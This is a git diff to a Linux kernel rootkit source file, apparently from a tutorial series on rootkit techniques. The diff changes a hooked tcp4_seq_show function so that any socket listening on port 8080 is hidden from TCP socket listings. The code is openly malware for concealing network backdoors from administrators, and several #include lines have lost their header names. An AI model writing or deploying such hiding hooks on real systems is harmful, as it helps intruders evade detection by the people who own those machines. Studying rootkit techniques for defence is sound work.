diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c index 2981d33..191f960 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -3,7 +3,7 @@ #include #include #include -#include +#include #include "ftrace_helper.h" @@ -23,11 +23,14 @@ long ret; struct sock *sk = v; - printk(KERN_DEBUG "rootkit: entered hooked function!\n"); + /* 0x1f90 = 8080 in hex */ + if (sk != 0x1 && sk->sk_num == 0x1f90) + { + printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n"); + return 0; + } ret = orig_tcp4_seq_show(seq, v); - - printk(KERN_DEBUG "rootkit: returning!\n"); return ret; }